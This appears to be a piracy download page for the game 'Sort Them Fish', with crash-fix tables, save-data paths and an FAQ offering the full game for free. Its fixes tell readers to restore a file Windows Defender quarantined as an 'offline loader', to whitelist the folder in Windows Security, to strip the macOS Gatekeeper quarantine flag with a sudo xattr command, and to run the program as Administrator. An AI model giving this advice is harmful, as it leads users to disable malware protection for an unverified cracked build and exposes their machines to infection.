Sort Them Fish Crash on Startup, Missing DLL, Gatekeeper & Launch Error Fix (2026)

Quick Fix for Sort Them Fish Crashes & Launch Errors: Over 90% of startup crashes, missing DLL errors on Windows, and Gatekeeper prompts on macOS in Sort Them Fish (Latest v2026 Build) are resolved by installing vc_redist.x64.exe, whitelisting the folder in Windows Security (or running xattr -cr on Mac), and launching as Administrator.

→ Download Clean Verified Build of Sort Them Fish (Latest v2026 Build)

Common Sort Them Fish Desktop Errors & Proven Solutions

Issue / Error MessageRoot CauseStep-by-Step Fix
Crash on Startup / Silent Exit (Windows)Missing Visual C++ Runtime or Admin privilegesInstall VC++ 2015–2022 (x86 & x64) and enable Run this program as an administrator.
Missing MSVCP140.dll / VCRUNTIME140.dllCorrupted Microsoft C++ runtime librariesReinstall the official Microsoft Visual C++ Redistributable package and reboot your PC.
Missing steam_api64.dll / Activation DLLWindows Defender quarantined the offline loaderOpen Windows Security → Protection History, restore the file, and whitelist the folder.
"App Is Damaged and Can't Be Opened" (macOS)macOS Gatekeeper quarantine flagRun sudo xattr -rd com.apple.quarantine "/Applications/Sort Them Fish.app" in Terminal.

Related Guides: Main Download Page | Installation Guide | System Requirements

Sort Them Fish – Windows 10/11 & macOS Configuration, Preset & Save Data Paths

When backing up user profiles, presets, or local save data between a Windows Desktop workstation and a MacBook Pro/Studio for Sort Them Fish (Latest v2026 Build), check these default desktop directories:

Desktop PlatformDefault User Data / Config / Preset DirectoryBackup & Migration Notes
Windows 10 / 11 (x64)%APPDATA%\{Sort_Them_Fish}\ or %USERPROFILE%\AppData\LocalLow\{Sort_Them_Fish}\Back up this folder before installing a newer version or resetting preferences.
macOS (Apple Silicon M1–M4 / Intel)~/Library/Application Support/Sort_Them_Fish/ & ~/Library/Preferences/Use Cmd + Shift + G in Finder to open hidden Library paths directly.

Release Metadata Summary – Sort Them Fish

Frequently Asked Questions – Sort Them Fish (Latest v2026 Build)

Is Sort Them Fish free to download for PC?

Yes, you can download Sort Them Fish for free from this page. The version provided here allows you to play the full game without any cost or mandatory registration.

Does Sort Them Fish have a time limit or speed run element?

No, the game is designed as a relaxing, ambient experience. There are no time limits, penalties for mistakes, or score-chasing mechanics. You can play at your own pace to enjoy the sorting process.

What is the total number of fish I need to sort in the game?

You will be tasked with organizing a total of 2,538 fish across various sections of the fish store. Each fish has specific attributes like species and size that determine its correct tank.